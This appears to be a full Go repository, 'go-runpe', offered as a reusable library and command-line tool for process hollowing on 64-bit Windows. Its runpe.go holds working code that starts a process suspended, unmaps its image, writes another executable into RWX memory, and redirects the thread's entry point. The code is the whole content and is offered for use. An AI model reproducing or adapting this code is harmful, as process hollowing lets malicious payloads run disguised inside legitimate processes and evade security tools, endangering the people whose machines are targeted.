├── .vscode └── launch.json ├── LICENSE ├── README.md ├── cmd └── exec │ └── main.go ├── go.mod ├── runpe.go └── runpe_test.go /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Launch", 9 | "type": "go", 10 | "request": "launch", 11 | "mode": "auto", 12 | "program": "${fileDirname}", 13 | "env": {}, 14 | "args": [] 15 | } 16 | ] 17 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Abdullah Saleem 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-runpe 2 | Execute a PE in the address space of another PE aka process hollowing 3 | -------------------------------------------------------------------------------- /cmd/exec/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | 6 | runpe "github.com/abdullah2993/go-runpe" 7 | ) 8 | 9 | func main() { 10 | var src, dest string 11 | flag.StringVar(&src, "src", "C:\\Windows\\System32\\calc.exe", "Source executable") 12 | flag.StringVar(&dest, "dest", "C:\\Windows\\System32\\notepad.exe", "Destenation executable") 13 | flag.Parse() 14 | runpe.Inject(src, dest) 15 | } 16 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/abdullah2993/go-runpe 2 | 3 | go 1.16 4 | -------------------------------------------------------------------------------- /runpe.go: -------------------------------------------------------------------------------- 1 | // +build windows,amd64 2 | 3 | package runpe 4 | 5 | import ( 6 | "bytes" 7 | "debug/pe" 8 | "encoding/binary" 9 | "fmt" 10 | "io/ioutil" 11 | "syscall" 12 | "unsafe" 13 | ) 14 | 15 | type IMAGE_REL_BASED uint16 16 | 17 | const ( 18 | IMAGE_REL_BASED_ABSOLUTE IMAGE_REL_BASED = 0 //The base relocation is skipped. This type can be used to pad a block. 19 | IMAGE_REL_BASED_HIGH IMAGE_REL_BASED = 1 //The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word. 20 | IMAGE_REL_BASED_LOW IMAGE_REL_BASED = 2 //The base relocation adds the low 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the low half of a 32-bit word. 21 | IMAGE_REL_BASED_HIGHLOW IMAGE_REL_BASED = 3 //The base relocation applies all 32 bits of the difference to the 32-bit field at offset. 22 | IMAGE_REL_BASED_HIGHADJ IMAGE_REL_BASED = 4 //The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word. The low 16 bits of the 32-bit value are stored in the 16-bit word that follows this base relocation. This means that this base relocation occupies two slots. 23 | IMAGE_REL_BASED_MIPS_JMPADDR IMAGE_REL_BASED = 5 //The relocation interpretation is dependent on the machine type.When the machine type is MIPS, the base relocation applies to a MIPS jump instruction. 24 | IMAGE_REL_BASED_ARM_MOV32 IMAGE_REL_BASED = 5 //This relocation is meaningful only when the machine type is ARM or Thumb. The base relocation applies the 32-bit address of a symbol across a consecutive MOVW/MOVT instruction pair. 25 | IMAGE_REL_BASED_RISCV_HIGH20 IMAGE_REL_BASED = 5 //This relocation is only meaningful when the machine type is RISC-V. The base relocation applies to the high 20 bits of a 32-bit absolute address. 26 | IMAGE_REL_BASED_THUMB_MOV32 IMAGE_REL_BASED = 7 //This relocation is meaningful only when the machine type is Thumb. The base relocation applies the 32-bit address of a symbol to a consecutive MOVW/MOVT instruction pair. 27 | IMAGE_REL_BASED_RISCV_LOW12I IMAGE_REL_BASED = 7 //This relocation is only meaningful when the machine type is RISC-V. The base relocation applies to the low 12 bits of a 32-bit absolute address formed in RISC-V I-type instruction format. 28 | IMAGE_REL_BASED_RISCV_LOW12S IMAGE_REL_BASED = 8 //This relocation is only meaningful when the machine type is RISC-V. The base relocation applies to the low 12 bits of a 32-bit absolute address formed in RISC-V S-type instruction format. 29 | IMAGE_REL_BASED_MIPS_JMPADDR16 IMAGE_REL_BASED = 9 //The relocation is only meaningful when the machine type is MIPS. The base relocation applies to a MIPS16 jump instruction. 30 | IMAGE_REL_BASED_DIR64 IMAGE_REL_BASED = 10 //The base relocation applies the difference to the 64-bit field at offset. 31 | ) 32 | 33 | // Inject starts the src process and injects the target process. 34 | func Inject(srcPath, destPath string) { 35 | 36 | cmd, err := syscall.UTF16PtrFromString(srcPath) 37 | if err != nil { 38 | panic(err) 39 | } 40 | 41 | Log("Creating process: %v", srcPath) 42 | 43 | si := new(syscall.StartupInfo) 44 | pi := new(syscall.ProcessInformation) 45 | 46 | // CREATE_SUSPENDED := 0x00000004 47 | err = syscall.CreateProcess(cmd, nil, nil, nil, false, 0x00000004, nil, nil, si, pi) 48 | if err != nil { 49 | panic(err) 50 | } 51 | 52 | hProcess := uintptr(pi.Process) 53 | hThread := uintptr(pi.Thread) 54 | 55 | Log("Process created. Process: %v, Thread: %v", hProcess, hThread) 56 | 57 | Log("Getting thread context of %v", hThread) 58 | ctx, err := GetThreadContext(hThread) 59 | if err != nil { 60 | panic(err) 61 | } 62 | // https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64 63 | Rdx := binary.LittleEndian.Uint64(ctx[136:]) 64 | 65 | Log("Address to PEB[Rdx]: %x", Rdx) 66 | 67 | //https://bytepointer.com/resources/tebpeb64.htm 68 | baseAddr, err := ReadProcessMemoryAsAddr(hProcess, uintptr(Rdx+16)) 69 | if err != nil { 70 | panic(err) 71 | } 72 | 73 | Log("Base Address of Source Image from PEB[ImageBaseAddress]: %x", baseAddr) 74 | 75 | Log("Reading destination PE") 76 | destPE, err := ioutil.ReadFile(destPath) 77 | if err != nil { 78 | panic(err) 79 | } 80 | 81 | destPEReader := bytes.NewReader(destPE) 82 | if err != nil { 83 | panic(err) 84 | } 85 | 86 | f, err := pe.NewFile(destPEReader) 87 | 88 | Log("Getting OptionalHeader of destination PE") 89 | oh, ok := f.OptionalHeader.(*pe.OptionalHeader64) 90 | if !ok { 91 | panic("OptionalHeader64 not found") 92 | } 93 | 94 | Log("ImageBase of destination PE[OptionalHeader.ImageBase]: %x", oh.ImageBase) 95 | Log("Unmapping view of section %x", baseAddr) 96 | if err := NtUnmapViewOfSection(hProcess, baseAddr); err != nil { 97 | panic(err) 98 | } 99 | 100 | Log("Allocating memory in process at %x (size: %v)", baseAddr, oh.SizeOfImage) 101 | // MEM_COMMIT := 0x00001000 102 | // MEM_RESERVE := 0x00002000 103 | // PAGE_EXECUTE_READWRITE := 0x40 104 | newImageBase, err := VirtualAllocEx(hProcess, baseAddr, oh.SizeOfImage, 0x00002000|0x00001000, 0x40) 105 | if err != nil { 106 | panic(err) 107 | } 108 | Log("New base address %x", newImageBase) 109 | Log("Writing PE to memory in process at %x (size: %v)", newImageBase, oh.SizeOfHeaders) 110 | err = WriteProcessMemory(hProcess, newImageBase, destPE, oh.SizeOfHeaders) 111 | if err != nil { 112 | panic(err) 113 | } 114 | 115 | for _, sec := range f.Sections { 116 | Log("Writing section[%v] to memory at %x (size: %v)", sec.Name, newImageBase+uintptr(sec.VirtualAddress), sec.Size) 117 | secData, err := sec.Data() 118 | if err != nil { 119 | panic(err) 120 | } 121 | err = WriteProcessMemory(hProcess, newImageBase+uintptr(sec.VirtualAddress), secData, sec.Size) 122 | if err != nil { 123 | panic(err) 124 | } 125 | } 126 | Log("Calcuating relocation delta") 127 | delta := int64(oh.ImageBase) - int64(newImageBase) 128 | Log("Relocation delta: %v", delta) 129 | 130 | if delta != 0 && false { 131 | Log("Finding relocation directory") 132 | rel := oh.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_BASERELOC] 133 | Log("Relocation directory %x (size: %v)", rel.VirtualAddress, rel.Size) 134 | 135 | Log("Locating relocation section") 136 | relSec := findRelocSec(rel.VirtualAddress, f.Sections) 137 | if relSec == nil { 138 | panic(fmt.Sprintf(".reloc not found at %x", rel.VirtualAddress)) 139 | } 140 | Log("Relocation section %x (size: %v)", relSec.VirtualAddress, relSec.Size) 141 | var read uint32 142 | d, err := relSec.Data() 143 | if err != nil { 144 | panic(err) 145 | } 146 | rr := bytes.NewReader(d) 147 | for read < rel.Size { 148 | Log("Reading relocation header") 149 | dd := new(pe.DataDirectory) 150 | binary.Read(rr, binary.LittleEndian, dd) 151 | Log("Relocation header %x (size: %v)", dd.VirtualAddress, dd.Size) 152 | 153 | read += 8 154 | reSize := (dd.Size - 8) / 2 155 | Log("Relocation entries %v", reSize) 156 | re := make([]baseRelocEntry, reSize) 157 | read += reSize * 2 158 | binary.Read(rr, binary.LittleEndian, re) 159 | for _, rrr := range re { 160 | Log("Relocation entry: Type: %x Offset: %x", rrr.Type(), rrr.Offset()+dd.VirtualAddress) 161 | if rrr.Type() == IMAGE_REL_BASED_DIR64 { 162 | rell := newImageBase + uintptr(rrr.Offset()) + uintptr(dd.VirtualAddress) 163 | raddr, err := ReadProcessMemoryAsAddr(hProcess, rell) 164 | if err != nil { 165 | panic(err) 166 | } 167 | 168 | err = WriteProcessMemoryAsAddr(hProcess, rell, uintptr(int64(raddr)+delta)) 169 | if err != nil { 170 | panic(err) 171 | } 172 | 173 | } else { 174 | Log("Invalid relocation entry type found %v", rrr.Type()) 175 | } 176 | } 177 | } 178 | 179 | } 180 | Log("Writing new ImageBase to Rdx %x", newImageBase) 181 | addrB := make([]byte, 8) 182 | binary.LittleEndian.PutUint64(addrB, uint64(newImageBase)) 183 | err = WriteProcessMemory(hProcess, uintptr(Rdx+16), addrB, 8) 184 | if err != nil { 185 | panic(err) 186 | } 187 | 188 | binary.LittleEndian.PutUint64(ctx[128:], uint64(newImageBase)+uint64(oh.AddressOfEntryPoint)) 189 | Log("Setting new entrypoint to Rcx %x", uint64(newImageBase)+uint64(oh.AddressOfEntryPoint)) 190 | 191 | Log("Setting thread context %v", hThread) 192 | err = SetThreadContext(hThread, ctx) 193 | if err != nil { 194 | panic(err) 195 | } 196 | 197 | Log("Resuming thread %v", hThread) 198 | _, err = ResumeThread(hThread) 199 | if err != nil { 200 | panic(err) 201 | } 202 | 203 | } 204 | 205 | var ( 206 | modkernel32 = syscall.NewLazyDLL("kernel32.dll") 207 | 208 | procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory") 209 | procReadProcessMemory = modkernel32.NewProc("ReadProcessMemory") 210 | procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx") 211 | procGetThreadContext = modkernel32.NewProc("GetThreadContext") 212 | procSetThreadContext = modkernel32.NewProc("SetThreadContext") 213 | procResumeThread = modkernel32.NewProc("ResumeThread") 214 | 215 | modntdll = syscall.NewLazyDLL("ntdll.dll") 216 | 217 | procNtUnmapViewOfSection = modntdll.NewProc("NtUnmapViewOfSection") 218 | ) 219 | 220 | func ResumeThread(hThread uintptr) (count int32, e error) { 221 | 222 | // DWORD ResumeThread( 223 | // HANDLE hThread 224 | // ); 225 | 226 | ret, _, err := procResumeThread.Call(hThread) 227 | if ret == 0xffffffff { 228 | e = err 229 | } 230 | count = int32(ret) 231 | Log("ResumeThread[%v]: [%v] %v", hThread, ret, err) 232 | return 233 | } 234 | 235 | func VirtualAllocEx(hProcess uintptr, lpAddress uintptr, dwSize uint32, flAllocationType int, flProtect int) (addr uintptr, e error) { 236 | 237 | // LPVOID VirtualAllocEx( 238 | // HANDLE hProcess, 239 | // LPVOID lpAddress, 240 | // SIZE_T dwSize, 241 | // DWORD flAllocationType, 242 | // DWORD flProtect 243 | // ); 244 | 245 | ret, _, err := procVirtualAllocEx.Call( 246 | hProcess, 247 | lpAddress, 248 | uintptr(dwSize), 249 | uintptr(flAllocationType), 250 | uintptr(flProtect)) 251 | if ret == 0 { 252 | e = err 253 | } 254 | addr = ret 255 | Log("VirtualAllocEx[%v : %x]: [%v] %v", hProcess, lpAddress, ret, err) 256 | 257 | return 258 | } 259 | 260 | func ReadProcessMemory(hProcess uintptr, lpBaseAddress uintptr, size uint32) (data []byte, e error) { 261 | 262 | // BOOL ReadProcessMemory( 263 | // HANDLE hProcess, 264 | // LPCVOID lpBaseAddress, 265 | // LPVOID lpBuffer, 266 | // SIZE_T nSize, 267 | // SIZE_T *lpNumberOfBytesRead 268 | // ); 269 | 270 | var numBytesRead uintptr 271 | data = make([]byte, size) 272 | 273 | r, _, err := procReadProcessMemory.Call(hProcess, 274 | lpBaseAddress, 275 | uintptr(unsafe.Pointer(&data[0])), 276 | uintptr(size), 277 | uintptr(unsafe.Pointer(&numBytesRead))) 278 | if r == 0 { 279 | e = err 280 | } 281 | Log("ReadProcessMemory[%v : %x]: [%v] %v", hProcess, lpBaseAddress, r, err) 282 | return 283 | } 284 | 285 | func WriteProcessMemory(hProcess uintptr, lpBaseAddress uintptr, data []byte, size uint32) (e error) { 286 | 287 | // BOOL WriteProcessMemory( 288 | // HANDLE hProcess, 289 | // LPVOID lpBaseAddress, 290 | // LPCVOID lpBuffer, 291 | // SIZE_T nSize, 292 | // SIZE_T *lpNumberOfBytesWritten 293 | // ); 294 | 295 | var numBytesRead uintptr 296 | 297 | r, _, err := procWriteProcessMemory.Call(hProcess, 298 | lpBaseAddress, 299 | uintptr(unsafe.Pointer(&data[0])), 300 | uintptr(size), 301 | uintptr(unsafe.Pointer(&numBytesRead))) 302 | if r == 0 { 303 | e = err 304 | } 305 | Log("WriteProcessMemory[%v : %x]: [%v] %v", hProcess, lpBaseAddress, r, err) 306 | 307 | return 308 | } 309 | 310 | func GetThreadContext(hThread uintptr) (ctx []uint8, e error) { 311 | 312 | // BOOL GetThreadContext( 313 | // HANDLE hThread, 314 | // LPCONTEXT lpContext 315 | // ); 316 | 317 | ctx = make([]uint8, 1232) 318 | 319 | // ctx[12] = 0x00100000 | 0x00000002 //CONTEXT_INTEGER flag to Rdx 320 | binary.LittleEndian.PutUint32(ctx[48:], 0x00100000|0x00000002) 321 | //other offsets can be found at https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64 322 | ctxPtr := unsafe.Pointer(&ctx[0]) 323 | r, _, err := procGetThreadContext.Call(hThread, uintptr(ctxPtr)) 324 | if r == 0 { 325 | e = err 326 | } 327 | Log("GetThreadContext[%v]: [%v] %v", hThread, r, err) 328 | 329 | return ctx, nil 330 | } 331 | 332 | func ReadProcessMemoryAsAddr(hProcess uintptr, lpBaseAddress uintptr) (val uintptr, e error) { 333 | data, err := ReadProcessMemory(hProcess, lpBaseAddress, 8) 334 | if err != nil { 335 | e = err 336 | } 337 | val = uintptr(binary.LittleEndian.Uint64(data)) 338 | Log("ReadProcessMemoryAsAddr[%v : %x]: [%x] %v", hProcess, lpBaseAddress, val, err) 339 | return 340 | } 341 | 342 | func WriteProcessMemoryAsAddr(hProcess uintptr, lpBaseAddress uintptr, val uintptr) (e error) { 343 | buf := make([]byte, 8) 344 | binary.LittleEndian.PutUint64(buf, uint64(val)) 345 | err := WriteProcessMemory(hProcess, lpBaseAddress, buf, 8) 346 | if err != nil { 347 | e = err 348 | } 349 | Log("WriteProcessMemoryAsAddr[%v : %x]: %v", hProcess, lpBaseAddress, err) 350 | return 351 | } 352 | 353 | func NtUnmapViewOfSection(hProcess uintptr, baseAddr uintptr) (e error) { 354 | 355 | // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection 356 | // https://msdn.microsoft.com/en-us/windows/desktop/ff557711 357 | // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtUnmapViewOfSection.html 358 | 359 | // NTSTATUS NtUnmapViewOfSection( 360 | // HANDLE ProcessHandle, 361 | // PVOID BaseAddress 362 | // ); 363 | 364 | r, _, err := procNtUnmapViewOfSection.Call(hProcess, baseAddr) 365 | if r != 0 { 366 | e = err 367 | } 368 | Log("NtUnmapViewOfSection[%v : %x]: [%v] %v", hProcess, baseAddr, r, err) 369 | return 370 | } 371 | 372 | func SetThreadContext(hThread uintptr, ctx []uint8) (e error) { 373 | 374 | // BOOL SetThreadContext( 375 | // HANDLE hThread, 376 | // const CONTEXT *lpContext 377 | // ); 378 | 379 | ctxPtr := unsafe.Pointer(&ctx[0]) 380 | r, _, err := procSetThreadContext.Call(hThread, uintptr(ctxPtr)) 381 | if r == 0 { 382 | e = err 383 | } 384 | Log("SetThreadContext[%v]: [%v] %v", hThread, r, err) 385 | return 386 | } 387 | 388 | func Log(format string, args ...interface{}) { 389 | fmt.Printf(format+"\n", args...) 390 | } 391 | 392 | type baseRelocEntry uint16 393 | 394 | func (b baseRelocEntry) Type() IMAGE_REL_BASED { 395 | return IMAGE_REL_BASED(uint16(b) >> 12) 396 | } 397 | 398 | func (b baseRelocEntry) Offset() uint32 { 399 | return uint32(uint16(b) & 0x0FFF) 400 | } 401 | 402 | func findRelocSec(va uint32, secs []*pe.Section) *pe.Section { 403 | for _, sec := range secs { 404 | if sec.VirtualAddress == va { 405 | return sec 406 | } 407 | } 408 | return nil 409 | } 410 | -------------------------------------------------------------------------------- /runpe_test.go: -------------------------------------------------------------------------------- 1 | package runpe 2 | 3 | import "testing" 4 | 5 | func TestRelocEntry(t *testing.T) { 6 | tt := []struct { 7 | val uint16 8 | typ uint16 9 | offset uint32 10 | }{ 11 | {val: 0x0000, typ: 0, offset: 0}, 12 | {val: 0xF000, typ: 0x0F, offset: 0}, 13 | {val: 0xE0EE, typ: 0x0E, offset: 0xEE}, 14 | {val: 0x0DDD, typ: 0, offset: 0xDDD}, 15 | } 16 | 17 | for _, tc := range tt { 18 | e := baseRelocEntry(tc.val) 19 | if uint16(e.Type()) != tc.typ { 20 | t.Errorf("Expected type to be %x got %x", tc.typ, e.Type()) 21 | } 22 | if e.Offset() != tc.offset { 23 | t.Errorf("Expected offset to be %x got %x", tc.offset, e.Offset()) 24 | } 25 | } 26 | } 27 | --------------------------------------------------------------------------------